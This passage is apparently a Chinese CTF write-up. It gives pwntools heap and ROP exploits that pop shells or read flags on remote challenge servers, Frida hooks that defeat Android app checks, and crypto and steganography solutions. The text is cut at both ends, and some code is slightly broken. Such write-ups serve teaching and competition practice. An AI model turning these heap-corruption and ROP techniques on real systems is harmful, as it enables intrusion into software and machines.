add(0x440,"AAAA")
add(0x88,"AAA")
dele(0)
dele(2)
add(0x450,"AAAA")
add(0x440,"AAAAAAAA")
add(0x440,"BBBBBBBB")
show(4)
p.recvuntil('\0')
libc.address = u64(p.recv(6).ljust(8,b"\x00")) -0x21a000 - 0xe0
success('libc_base----->'+hex(libc.address))
envrion = libc.sym['environ']
stdout = libc.sym['_IO_2_1_stdout_']
print(hex(libc.address))
p.recv(2)
heap_addr = u64(p.recv(8)) - 0x290
print(hex(heap_addr))
for i in range(7):
add(0xf8,"AAA")
add(0x108,"AAA")
add(0xf0,"AAAA")
add(0x88,"AAA")
for i in range(7):
dele(i+5)
target = heap_addr + 0x17c0
ptr = heap_addr + 0xc60
edit(0,p64(target))
payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10)
payload = payload.ljust(0x100,b"\x00") + p64(0x100)
edit(12,payload)
dele(13)
add(0xe8,"AAAA")
add(0xe8,"AAAA")
dele(5)
dele(6)
show(12)
p.recvuntil("\xf1")
p.recv(7)
en_key = u64(p.recv(8))
print("en_key ===> " + hex(en_key))
key = u64(p.recv(8))
print("key ===> " + hex(key))
payload = p64(0)+p64(0xf1)+p64(en_key)+p64(key)
payload = payload.ljust(0xf0,b"\x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^en_key)
edit(12,payload)
add(0xe8,"AAAA")
add(0xe8,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(envrion-16))
print(hex(stdout))
add(0xd0,"A"*8)
show(7)
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 0x140 - 8
print(hex(stack))
edit(6,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(stack))
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rdx_r12 = 0x000000000011f497 + libc.address
read_addr = libc.sym['read']
open_addr = libc.sym['open']
write_addr = libc.sym['write']
orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(write_addr)
add(0xd0,b"./flag".ljust(8,b"\x00")+orw)
p.interactive()
heapheap
from pwn import *
p=remote('182.92.237.102',11000)
libc=ELF('./libc-2.31.so')
def create(idx,Size):
p.recvuntil(b'choice')
p.sendline(b'1')
p.recvuntil(b'index')
p.sendline(bytes(str(idx),'utf-8'))
p.recvuntil(b'Size')
p.sendline(bytes(str(Size),'utf-8'))
def free(id):
p.recvuntil(b'choice')
p.sendline(b'4')
p.recvuntil(b'index')
p.sendline(bytes(str(id),'utf-8'))
def edit(id,Content):
p.recvuntil(b'choice')
p.sendline(b'3')
p.recvuntil(b'index')
p.sendline(bytes(str(id),'utf-8'))
p.recvuntil(b'context')
p.send(Content)
def show(id):
p.recvuntil(b'choice')
p.sendline(b'2')
p.recvuntil(b'index')
p.sendline(bytes(str(id),'utf-8'))
create(0,0x420)
create(1,0x410)
create(2,0x410)
create(3,0x410)
free(0)
show(0)
libc_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libcbase=libc_add-libc.symbols['__malloc_hook']-96-0x10
io_list_all=libcbase+0x1ed5a0
log.info('libcbase '+hex(libcbase))
log.info('io_list_all '+hex(io_list_all))
create(4,0x430)
edit(0,b'a'*(0x10-1)+b'A')
show(0)
p.recvuntil(b'A')
heap_add=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
log.info('heap_add '+hex(heap_add))
fd=libcbase+0x1ecfd0
payload=p64(fd)*2+p64(heap_add)+p64(io_list_all-0x20)
edit(0,payload)
free(2)
create(5,0x470)
free(5)
openadd=libcbase+libc.sym['open']
readadd=libcbase+libc.sym['read']
writeadd=libcbase+libc.sym['write']
setcontextadd=libcbase+libc.sym['setcontext']
rdi=libcbase+0x0000000000023b6a
rsi=libcbase+0x000000000002601f
rdx_r12=libcbase+0x0000000000119431
ret=libcbase+0x0000000000022679
chunk_small=heap_add+0x850
IO_wfile_jumps=libcbase+0x1e8f60
fakeIO_add=chunk_small
orw_add=fakeIO_add+0x200
A=fakeIO_add+0x40
B=fakeIO_add+0xe8+0x40-0x68
C=fakeIO_add
fake_IO=b''
fake_IO=fake_IO.ljust(0x18,b'\x00')
fake_IO+=p64(1)
fake_IO=fake_IO.ljust(0x78,b'\x00')
fake_IO+=p64(fakeIO_add)
fake_IO=fake_IO.ljust(0x90,b'\x00')
fake_IO+=p64(A)
fake_IO=fake_IO.ljust(0xc8,b'\x00')
fake_IO+=p64(IO_wfile_jumps)
fake_IO+=p64(orw_add)+p64(ret)+b'\x00'*0x30
fake_IO+=p64(B)+p64(setcontextadd+61)
flag_add=orw_add+0x100+0x10
orw = p64(rdi)+ p64(flag_add) + p64(rsi) + p64(0) + p64(openadd)
orw += p64(rdi)+ p64(3)+p64(rsi)+p64(flag_add)+p64(rdx_r12)+p64(0x50)+p64(0)+p64(readadd)
orw += p64(rdi)+p64(1)+p64(writeadd)
payload=fake_IO
payload=payload.ljust(0x200-0x10,b'\x00')
payload+=orw
payload=payload.ljust(0x300,b'\x00')
payload+=b'flag\x00'
edit(2,payload)
p.recvuntil(b'choice')
p.sendline(b'5')
p.interactive()
shopping
查看保护
利用线程,堆溢出,没有free函数,有system函数,bss段上有函数指针。申请堆块把mmap的 内存分配完,使线程arena重新分配到高地址,之后利用堆溢出覆盖arena,伪造一个 fastbin 到 bss 段附近。之后申请fastbin并改bss上的write为system
from pwn import *
path = "./attachment-11"
sh = remote('182.92.237.102',10019)
elf = ELF(path)
system_plt = elf.plt['system']
sh.sendlineafter('Enter the password:', "I'm ready for shopping")
def add(size, n, content=''):
sh.sendlineafter(b'Action:', '1')
sh.sendlineafter(b'Item ID:', str(size))
sh.sendlineafter(b'Quantity:', str(n))
if content == '':
sh.sendlineafter(b'Add gift message? (0/1):', '0')
else:
sh.sendlineafter(b'Add gift message? (0/1):', '1')
sh.sendafter(b'Message: ', content)
for i in range(12):
add(0x4000, 1000)
add(0x4000, 262, '0' * 0x3FF0)
\# 溢出,修改thread_arena,将bss上的fake_chunk接到fastbin 里
payload = b'1' * 0x50 + p32(0) + p32(3) + 10 * p64(0x60201d)
sleep(0.2)
sh.send(payload)
sleep(0.2)
payload = b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt)
payload = payload.ljust(0x60, b'b')
add(0x60, 0, payload)
sh.interactive()
misc
RSA_KU
题目
n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 61918852171742812739170043437002663063220951248500520391346547769626444018847465000233524935204828371169075383168689291787795697907657466404998448030495394418574086934880165211797319092676677396225423260560646131473610171818604200105740824508871825045866770557049128059598517787931221212352116693867787324441
#(p-2)*(q-1) = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834
#(p-1)*(q-2) = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458
直接写脚本
import gmpy2
from Crypto.Util.number import *
n = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668100946205876629688057506460903842119543114630198205843883677412125928979399310306206497958051030594098963939139480261500434508726394139839879752553022623977
e = 65537
c = 61918852171742812739170043437002663063220951248500520391346547769626444018847465000233524935204828371169075383168689291787795697907657466404998448030495394418574086934880165211797319092676677396225423260560646131473610171818604200105740824508871825045866770557049128059598517787931221212352116693867787324441
n1 = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668067056973833292274532016607871906443481233958300928276492550916101187841666991944275728863657788124666879987399045804435273107746626297122522298113586003834 # (p-2)*(q-1)
n2 = 129699330328568350681562198986490514508637584957167129897472522138320202321246467459276731970410463464391857177528123417751603910462751346700627325019668066482326285878341068180156082719320570801770055174426452966817548862938770659420487687194933539128855877517847711670959794869291907075654200433400668220458 # (p-1)*(q-2)
ppq = (n - n1 + n - n2 + 4) // 3 # p+q
'''n-(p-2)*(q-1)=pq-(pq-p-2q+2)=p+2q-2 ①
n-(p-1)*(q-2)=pq-(pq-2p-q+2)=2p+q-2 ②
①+②:n-(p-2)*(q-1)+n-(p-1)*(q-2)=3*(p+q)-4
p+q=(n-(p-2)*(q-1)+n-(p-1)*(q-2)+4)/3'''
phi = n - ppq + 1 # phi=(p-1)*(q-1)=pq-(p+q)+1
d = gmpy2.invert(e, phi)
flag = long_to_bytes((pow(c, d, n)))
print(flag)
时间刺客
分析流量包
在使用wireshark捕捉到的流量中,我们主要看第三个字节的内容,将它与按键值相对以得出按键内容。
所以使用wireshark的tshark得到文件
使用脚本冒号分割得到文件
用脚本提取6-8的值
发现flag不对,利用另一个压缩包解压发现18文档,猜测时间隐写
脚本尝试
with open('/root/桌面/usn.txt', 'r') as f, open('out.txt', 'w') as fi:
while True:
a = f.readline().strip()
if a:
if len(a) == 16:
out = ':'.join([a[i:i+2] for i in range(0, len(a), 2)])
fi.write(out + '\n')
else:
break
def uppercase_to_lowercase(text):
# 使用内置函数转换大写字母为小写字母
return text.lower()
# 测试转换函数
input_text = "FLAGPR3550NWARDSA2FEE6E0"
output_text = uppercase_to_lowercase(input_text)
print("转换前: " + input_text)
print("转换后: " + output_text)
import os
for i in range(18):
filename = ("D:\\浏览器下载\\Edge下载\\attachment-27\\9\\.{0}.txt").format(i)
file_attr = os.stat(filename)
create_time = str(file_attr.st_mtime)
print(chr(int(create_time[7:10])),end='')
工业互联网模拟仿真数据分析
题目一:ip长度固定的只有1.2-1.4
192.168.1.2,192.168.1.4
题目二:
tshark -r 工业互联网模拟仿真数据.pcap -T fields -e data.data -Y “data.len==12”
明显确定字段就是2024
题目三:
192.168.1.3-192.168.1.5时间大致相同
文末第五组时间间隔是固定的0.6
题目四:
192.168.1.3,192.168.1.2,192.168.1.6
题目五:
五个字符校验算法,假设CRC16,CRC32
倒数位必为1 尝试CRC16CRC32并尝试0-10为起始位
为CRC16,4,1时成功提交
Number_is_the_key
修改后缀zip
解压后在worksheets运行脚本
得到1.xlsx,调整行高与行列扫码
import xmltodict
import json
def xml_to_json(xml_string):
xml_dict = xmltodict.parse(xml_string)
json_data = json.dumps(xml_dict, indent=4)
return json_data
f = open("sheet1.xml", mode="r").read()
json_content = xml_to_json(f)
json_content = json.loads(json_content)
data = json_content["worksheet"]["sheetData"]["row"]
t = []
for num in range(len(data)):
for d in data[num]["c"]:
t.append(d["@r"])
from openpyxl import Workbook
from openpyxl.styles import PatternFill
wb = Workbook()
ws = wb.active
for d in t:
cell_to_fill = ws[d]
fill = PatternFill(start_color='00FF00', end_color='FFFFFF', fill_type='solid')
cell_to_fill.fill = fill
wb.save("1.xlsx")
钢铁侠在解密
使用silentey打开得到c1,c2
在sage环境下运行脚本得到flag
def HGCD(a, b):
if 2 * b.degree() <= a.degree() or a.degree() == 1:
return 1, 0, 0, 1
m = a.degree() // 2
a_top, a_bot = a.quo_rem(x ^ m)
b_top, b_bot = b.quo_rem(x ^ m)
R00, R01, R10, R11 = HGCD(a_top, b_top)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
q, e = c.quo_rem(d)
d_top, d_bot = d.quo_rem(x ^ (m // 2))
e_top, e_bot = e.quo_rem(x ^ (m // 2))
S00, S01, S10, S11 = HGCD(d_top, e_top)
RET00 = S01 * R00 + (S00 - q * S01) * R10
RET01 = S01 * R01 + (S00 - q * S01) * R11
RET10 = S11 * R00 + (S10 - q * S11) * R10
RET11 = S11 * R01 + (S10 - q * S11) * R11
return RET00, RET01, RET10, RET11
def GCD(a, b):
print(a.degree(), b.degree())
q, r = a.quo_rem(b)
if r == 0:
return b
R00, R01, R10, R11 = HGCD(a, b)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
if d == 0:
return c.monic()
q, r = c.quo_rem(d)
if r == 0:
return d
return GCD(d, r)
c1=5076817159644284489752592210242773102660426508117181937948911619431512241757030406924147354048071102967570248967908797632758646048608977793319981301703073964926203826279407377000854710036850752220172324140037982778927205852156640767059657359654164550337810290898205908861706856113881285424771811468102456636326834296373922520441272504298395851395626615617185890285245083142892116446447256095010792842566734252333650808535545786679385779303087027295801821635183758626470840471276560369809650320327902908711167918541074698615525459114815945554924681668054116276031112053303566040123507441931218947480467194031188428634
c2=14319831303928472545812568536780833289039883071572856147154018613137126307742077011875046668440242517667937885419570751621703078744848426080876810835027534858383669590312500984098502342208883110539044163205843260923218947413373475086327935443177462771919342654520442262745936510987360908926419802472398169691423961063788179894416320705980948575179620945045611983357171785849497916646360163588557635020483695089545678515145590972907970279225768829947087656258047056985850609958966626076587036605384313888643016722162347711895278005073381058547487127444030312426649155866412958385007498461132248511453557868167936973078
N = 14333611673783142269533986072221892120042043537656734360856590164188122242725003914350459078347531255332508629469837960098772139271345723909824739672964835254762978904635416440402619070985645389389404927628520300563003721921925991789638218429597072053352316704656855913499811263742752562137683270151792361591681078161140269916896950693743947015425843446590958629225545563635366985228666863861856912727775048741305004192164068930881720463095045582233773945480224557678337152700769274051268380831948998464841302024749660091030851843867128275500525355379659601067910067304244120384025022313676471378733553918638120029697
e = 52595
pad1 = 1769169763
pad2 = 1735356260
PR.<x>=PolynomialRing(Zmod(N))
g1 = (x*2^32+pad1)^e - c1
g2 = (x*2^32+pad2)^e - c2
X=584734024210292804199275855856518183354184330877
print(g1(X),g2(X))
res = GCD(g1,g2)
m = -res.monic().coefficients()[0]
print(m)
print(bytes.fromhex(hex(m)[2:]).decode().replace("flag{",'ISCC{'))
成语学习
将文件夹里的something解压
爆破密码是57pmYyWt
修改成zip,找到,将flag.txt解密
内容是成语,密钥是食物
FunZip
解压打开文件,使用puzzlesolver工具解码
有人让我给你带个话
附件kali环境音频解码
将音频转为文本得到
解码
精装四合一
四个图片中每个图片的文件尾部都带着一串数据,我们看到这些数据都异或0xff都会是一个zip文件的一 部分,那么写个脚本将这四个文件的文件尾提取出来再进行异或0xff,然后再拼接,会得到一个zip
zip爆破密码是65537,这是个e值
ctrl+a全选,字体,取消隐藏
16920251144570812336430166924811515273080382783829495988294341496740639931651
检查文件头word也是zip
看到trueflag
010打开,是16进制
运行脚本得到
def trim_and_xor_with_ff(input_filename, output_filename, target_hex):
\# 将16进制字符串转换为字节
target_bytes = bytes.fromhex(target_hex.replace(' ', ''))
\# 初始化一个标志位,表示是否已经找到目标字节序列
found_target = False
with open(input_filename, 'rb') as infile, open(output_filename, 'wb') as outfile:
\# 读取文件的字节
while True:
chunk = infile.read(4096) # 一次读取4096字节
if not chunk:
break # 如果文件读取完毕,则退出循环
\# 检查目标字节序列是否在块中
index = chunk.find(target_bytes)
if index != -1:
\# 如果找到,则只处理目标字节序列之后的部分
if not found_target:
\# 跳过包含目标字节序列的块中目标之前的部分
chunk = chunk[index + len(target_bytes):]
found_target = True
\# 对剩余部分进行异或操作
xor_chunk = bytes([b ^ 0xFF for b in chunk])
outfile.write(xor_chunk)
elif found_target:
\# 如果已经找到目标字节序列,则直接对整个块进行异或操作
xor_chunk = bytes([b ^ 0xFF for b in chunk])
outfile.write(xor_chunk)
\# 如果尚未找到目标字节序列,则不处理该块(因为我们只关心目标之后的数据)
\# 使用函数
input_filename = 'left_hand_invert.png' # 输入文件名
output_filename = '2' # 输出文件名
target_hex = 'AE426082' # 要查找的16进制字符串
trim_and_xor_with_ff(input_filename, output_filename, target_hex)
input_filename = 'left_foot_invert.png' # 输入文件名
output_filename = '1' # 输出文件名
trim_and_xor_with_ff(input_filename, output_filename, target_hex)
input_filename = 'right_hand_invert.png' # 输入文件名
output_filename = '4' # 输出文件名
trim_and_xor_with_ff(input_filename, output_filename, target_hex)
input_filename = 'right_foot_invert.png' # 输入文件名
output_filename = '3' # 输出文件名
trim_and_xor_with_ff(input_filename, output_filename, target_hex)
\#文件拼接
f1=open('1','rb')
f2=open('2','rb')
f3=open('3','rb')
f4=open('4','rb')
f5=open('1.zip','wb')
for i in range(3176):
f5.write(f1.read(1))
f5.write(f2.read(1))
f5.write(f3.read(1))
f5.write(f4.read(1))
f5.write(f1.read(1))
import gmpy2
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex
import binascii
e = 65537
c = 0x1cb2d409f66fa525fe6a300cca1e81fc4edf1f2aa2a70283a48d0840e6333864
\#1.将n分解为p和q
p = 100882503720822822072470797230485840381
q = 167722355418488286110758738271573756671
n = p*q
phi = (p-1)*(q-1)
\#2.求d
d = gmpy2.invert(e,phi)
\#3.m=pow(c,d,n)
m = gmpy2.powmod(c,d,n)
print(long_to_bytes(m))
mobile
Puzzle_Game
打开逆向软件分析
import java.nio.charset.StandardCharsets; import java.util.Base64;
import java.util.Random;
public class Test {
private static String combineStrings(String arg1, String arg2) { return arg1 + arg2;
}
private static byte[] customEncrypt(byte[] arg4, byte[] arg5) { byte[] v0 = new byte[arg4.length];
int v1;
for(v1 = 0; v1 < arg4.length; ++v1) {
v0[v1] = (byte)(arg4[v1] ^ arg5[v1 % arg5.length]);
}
return v0;
}
public static String encrypt(String arg3, String arg4) { byte[] v0 = generateSalt(16);
byte[] v3 = customEncrypt(combineStrings(arg3, arg4).getBytes(StandardCharsets.UTF_8), v0);
byte[] v4 = new byte[v0.length + v3.length];
System.arraycopy(v0, 0, v4, 0, v0.length); System.arraycopy(v3, 0, v4, v0.length, v3.length); return Base64.getEncoder().encodeToString(v4);
}
public static String encrypt2(String arg3) {
byte[] v3 = arg3.getBytes(StandardCharsets.UTF_8); int v0 = 0;
int v1;
for(v1 = 0; v1 < v3.length; ++v1) {
v3[v1] = (byte)((v3[v1] + 0x7F) % 0x100);
}
byte[] v1_1 = new byte[v3.length]; while(v0 < v3.length) {
v1_1[v0] = (byte)(v0 % 2 == 0 ? v3[v0] ^ 0x7B : v3[v0] ^ 0xEA);
++v0;
}
return Base64.getEncoder().encodeToString(v1_1);
}
private static byte[] generateSalt(int i) { byte[] bArr = new byte[i];
new Random(2983L).nextBytes(bArr); return bArr;
}
public static void main(String[] args) { System.out.println("ISCC{"+encrypt2(encrypt("04999999",
"gwC9nOCNUhsHqZm")).substring(0, 32)+"}");
}
}
ohHELP
无hook值的AesUtil.encrypt
Getkey返回空值导致check的a.a()异常
Assets到ssh找打word,进行镜像反转后得到”PUDzbflthjqxlJVW”,猜测是GetKey的返回值
设置返回值
let Myjni = Java.use(“com.example.ohhelp.MyJNI.Myjni”);
Myjni[“GetKey”].implementation = function () {
console.log(‘GetKey is called’);
let ret = this.GetKey();
console.log('GetKey ret value is ’ + ret);
return “PUDzbflthjqxlJVW”;
};
getstr反射调用com.example.ohhelp.getstr.generateRandomString
发现校验property时会退出
frida设置System.getProperty返回值
let System = Java.use(‘java.lang.System’);
System.getProperty.overload(‘java.lang.String’).implementation = function (propertyName) {
var returnValue = this.getProperty(propertyName);
console.log("System.getProperty called with propertyName: " + propertyName + ", returned: " + returnValue);
if (propertyName === “java.vm.vendor”) {
return “”;
}
return returnValue;
};
后续hook AesUtil.encrypt就不会退出
Gettime返回的时当前时间戳,根据描述求出正确时间戳
设置返回值gettime
let Myjni = Java.use(“com.example.ohhelp.MyJNI.Myjni”);
Myjni[“GetTime”].overload().implementation = function () {
console.log(‘GetTime is called’);
let ret = this.GetTime();
console.log('GetTime ret value is ’ + ret);
return “1055853128000”;
};
hook AesUtil.encrypt得到返回值即为flag
function hook() {
Java.perform(function () {
let Myjni = Java.use(“com.example.ohhelp.MyJNI.Myjni”);
Myjni[“GetTime”].overload().implementation = function () {
console.log(‘GetTime is called’);
let ret = this.GetTime();
console.log('GetTime ret value is ’ + ret);
return “1055853128000”;
};
Myjni[“GetKey”].implementation = function () {
console.log(‘GetKey is called’);
let ret = this.GetKey();
console.log('GetKey ret value is ’ + ret);
return “PUDzbflthjqxlJVW”;
};
let AesUtil = Java.use(“com.example.ohhelp.AesUtil”);
AesUtil[“encrypt”].overload(‘java.lang.String’, ‘java.lang.String’).implementation = function (str, str2) {
console.log(‘encrypt is called’ + ', ’ + 'str: ’ + str + ', ’ + 'str2: ’ + str2);
let ret = this.encrypt(str, str2);
console.log('encrypt ret value is ’ + ret);
return ret;
};
let System = Java.use(‘java.lang.System’);
System.getProperty.overload(‘java.lang.String’).implementation = function (propertyName) {
var returnValue = this.getProperty(propertyName);
console.log("System.getProperty called with propertyName: " + propertyName + ", returned: " + returnValue);
if (propertyName === “java.vm.vendor”) {
return “”;
}
return returnValue;
};
})
}
hook()
GetTime is called
GetTime ret value is 1715746657421
GetKey is called
GetKey ret value is null
encrypt is called, str: 1055853128000, str2: PUDzbflthjqxlJVW
encrypt ret value is UPwDHuXQBoInrKpj0VcdGA==
System.getProperty called with propertyName: java.library.path, returned: /system/lib64:/system/system_ext/lib64:/system/product/lib64:/vendor/lib64
System.getProperty called with propertyName: java.vm.vendor, returned: The Android Project
System.getProperty called with propertyName: java.library.path, returned: /system/lib64:/system/system_ext/lib64:/system/product/lib64:/vendor/lib64
System.getProperty called with propertyName: java.vm.vendor, returned: The Android Project
encrypt is called, str: UPwDHuXQOQgM2Fxv, str2: IscC20244202CcsI
encrypt ret value is VJS6yUGcQNC3K3lZ5BeYng==
ChallengeMobile
Jadx反编译后动态调试加载dex进行加密操作
,使用hook的native混淆方法返回值,dump下来使用脚本进行dex计算得到
使用以下脚本反编译
setImmediate(main);
\# 写入文件
dex_data = [100,101,120…]
for i in range(0, len(dex_data)):
dex_data[i] = (dex_data[i] + 256) % 256
with open("mobile2.dex", "wb") as f:
f.write(bytes(dex_data))
jadx反编译dump下来的dex。发现(52 / (length + 1)) + 6; 1640531527。是xxtea加密。Key在native里面,加密文本在isflag中。
hook loadClass方法,获取Checker类,然后主动调试getKey获取密钥。在XXTea解密即可得到flag。
flag
public final class Checker {
static final boolean $assertionsDisabled = false;
private static final int DELTA = -1640531527;
public static native String getKey();
static {
System.loadLibrary("example");
}
private static int MX(int i, int i2, int i3, int i4, int i5, int[] iArr) {
return (((i3 >>> 5) ^ (i2 << 2)) + ((i2 >>> 3) ^ (i3 << 4))) ^ ((i ^ i2) + (iArr[(i4 & 3) ^ i5] ^ i3));
}
public static final byte[] encrypt(byte[] bArr, byte[] bArr2) {
return bArr.length == 0 ? bArr : toByteArray(encrypt(toIntArray(bArr, true), toIntArray(fixKey(bArr2), $assertionsDisabled)), $assertionsDisabled);
}
public static final byte[] encrypt(String str, String str2) {
try {
return encrypt(str.getBytes("UTF-8"), str2.getBytes("UTF-8"));
} catch (UnsupportedEncodingException e) {
return null;
}
}
public static final String encryptToBase64String(String str, String str2) {
byte[] encrypt = encrypt(str, str2);
if (encrypt == null) {
return null;
}
return encode(encrypt);
}
private static int[] encrypt(int[] iArr, int[] iArr2) {
int length = iArr.length - 1;
if (length >= 1) {
int i = (52 / (length + 1)) + 6;
int i2 = iArr[length];
int i3 = 0;
while (true) {
int i4 = i - 1;
if (i <= 0) {
break;
}
i3 -= 1640531527;
int i5 = (i3 >>> 2) & 3;
int i6 = 0;
while (i6 < length) {
i2 = iArr[i6] + MX(i3, iArr[i6 + 1], i2, i6, i5, iArr2);
iArr[i6] = i2;
i6++;
}
i2 = iArr[length] + MX(i3, iArr[0], i2, i6, i5, iArr2);
iArr[length] = i2;
i = i4;
}
}
return iArr;
}
private static byte[] fixKey(byte[] bArr) {
if (bArr.length != 16) {
byte[] bArr2 = new byte[16];
if (bArr.length < 16) {
System.arraycopy(bArr, 0, bArr2, 0, bArr.length);
} else {
System.arraycopy(bArr, 0, bArr2, 0, 16);
}
return bArr2;
}
return bArr;
}
private static int[] toIntArray(byte[] bArr, boolean z) {
int[] iArr;
int length = (bArr.length & 3) == 0 ? bArr.length >>> 2 : (bArr.length >>> 2) + 1;
if (z) {
iArr = new int[length + 1];
iArr[length] = bArr.length;
} else {
iArr = new int[length];
}
int length2 = bArr.length;
for (int i = 0; i < length2; i++) {
int i2 = i >>> 2;
iArr[i2] = iArr[i2] | ((bArr[i] & 255) << ((i & 3) << 3));
}
return iArr;
}
private static byte[] toByteArray(int[] iArr, boolean z) {
int i;
int length = iArr.length << 2;
if (z) {
i = iArr[iArr.length - 1];
int i2 = length - 4;
if (i < i2 - 3 || i > i2) {
return null;
}
} else {
i = length;
}
byte[] bArr = new byte[i];
for (int i3 = 0; i3 < i; i3++) {
bArr[i3] = (byte) (iArr[i3 >>> 2] >>> ((i3 & 3) << 3));
}
return bArr;
}
function main() {
Java.perform(function () {
var ClassUse = Java.use("java.lang.Class");
var dexclassLoader = Java.use("dalvik.system.DexClassLoader");
dexclassLoader.loadClass.overload("java.lang.String").implementation =
function (name) {
var hookname = "com.example.challengemobile.Checker";
var result = this.loadClass(name, false);
if (name == hookname) {
var hookClass = result;
//类型转换
var hookClassCast = Java.cast(hookClass, ClassUse);
// public static native String getKey();
var method = hookClassCast.getMethod("getKey", []);
//获取方法的返回值
var result = method.invoke(null, []);
console.log("result:", result);
return result;
}
return result;
};
});
}
setImmediate(main);
擂台题
misc
重“隐”
使用puzz查看图片,压缩包
foremost分离压缩包
解压需要密码,先看音频文件
解码九宫格
827342312231334132->九宫格->urhdbdfge
上部分flag
Deepsound打开音频需要密码,
使用deepsound2john.py脚本获取密码hash值,并使用kali的john爆破工具
得到密码teenager
得到message.txt
使用文字盲水印解密得到后部分flag
#! python3
import logging
import os
import sys
import textwrap
def decode_data_low(buf):
return buf[::2]
def decode_data_normal(buf):
out = bytearray()
for i in range(0, len(buf), 4):
out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))
return out
def decode_data_high(buf):
out = bytearray()
for i in range(0, len(buf), 8):
out.append((buf[i] & 3) << 6 | (buf[i + 2] & 3) << 4 \
| (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))
return out
def is_magic(buf):
\# This is a more efficient way of testing for the `DSCF` magic header without
\# decoding the whole buffer
return (buf[0] & 15) == (68 >> 4) and (buf[2] & 15) == (68 & 15) \
and (buf[4] & 15) == (83 >> 4) and (buf[6] & 15) == (83 & 15) \
and (buf[8] & 15) == (67 >> 4) and (buf[10] & 15) == (67 & 15) \
and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)
def is_wave(buf):
return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'
def process_deepsound_file(f):
bname = os.path.basename(f.name)
logger = logging.getLogger(bname)
\# Check if it's a .wav file
buf = f.read(12)
if not is_wave(buf):
global convert_warn
logger.error('file not in .wav format')
convert_warn = True
return
f.seek(0, os.SEEK_SET)
\# Scan for the marker...
hdrsz = 104
hdr = None
while True:
off = f.tell()
buf = f.read(hdrsz)
if len(buf) < hdrsz: break
if is_magic(buf):
hdr = decode_data_normal(buf)
logger.info('found DeepSound header at offset %i', off)
break
f.seek(-hdrsz + 1, os.SEEK_CUR)
if hdr is None:
logger.warn('does not appear to be a DeepSound file')
return
\# Check some header fields
mode = hdr[4]
encrypted = hdr[5]
modes = {2: 'low', 4: 'normal', 8: 'high'}
if mode in modes:
logger.info('data is encoded in %s-quality mode', modes[mode])
else:
logger.error('unexpected data encoding mode %i', modes[mode])
return
if encrypted == 0:
logger.warn('file is not encrypted')
return
elif encrypted != 1:
logger.error('unexpected encryption flag %i', encrypted)
return
sha1 = hdr[6:6+20]
print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--verbose', '-v', action='store_true')
parser.add_argument('files', nargs='+', metavar='file',
type=argparse.FileType('rb', bufsize=4096))
args = parser.parse_args()
if args.verbose:
logging.basicConfig(level=logging.INFO)
else:
logging.basicConfig(level=logging.WARN)
convert_warn = False
for f in args.files:
process_deepsound_file(f)
if convert_warn:
print(textwrap.dedent.rstrip(), file=sys.stderr)
pwn
curious
去除了符号表,但是shift+f12一样找到主逻辑
分析得到是base64替换,读入的数据进行加密是B2GXEwvZ,这是因为题目换了字典序,因此将大小写反转,解码即可
主逻辑存在栈溢出,而且程序是静态编译,可以打ret2syscall l
from pwn import *
from struct import pack
context.os='linux'
elf = ELF("./pwn")
io = remote('182.92.237.102', 10031)
p = b''
p += pack('<Q', 0x000000000040f49e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c20e0) # @ .data
p += pack('<Q', 0x0000000000452af7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x0000000000483b85) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040f49e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c20e8) # @ .data + 8
p += pack('<Q', 0x0000000000446ef9) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000483b85) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401912) # pop rdi ; ret
p += pack('<Q', 0x00000000004c20e0) # @ .data
p += pack('<Q', 0x000000000040f49e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c20e8) # @ .data + 8
p += pack('<Q', 0x000000000040181f) # pop rdx ; ret
p += pack('<Q', 0x00000000004c20e8) # @ .data + 8
p += pack('<Q', 0x0000000000446ef9) # xor rax, rax ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret
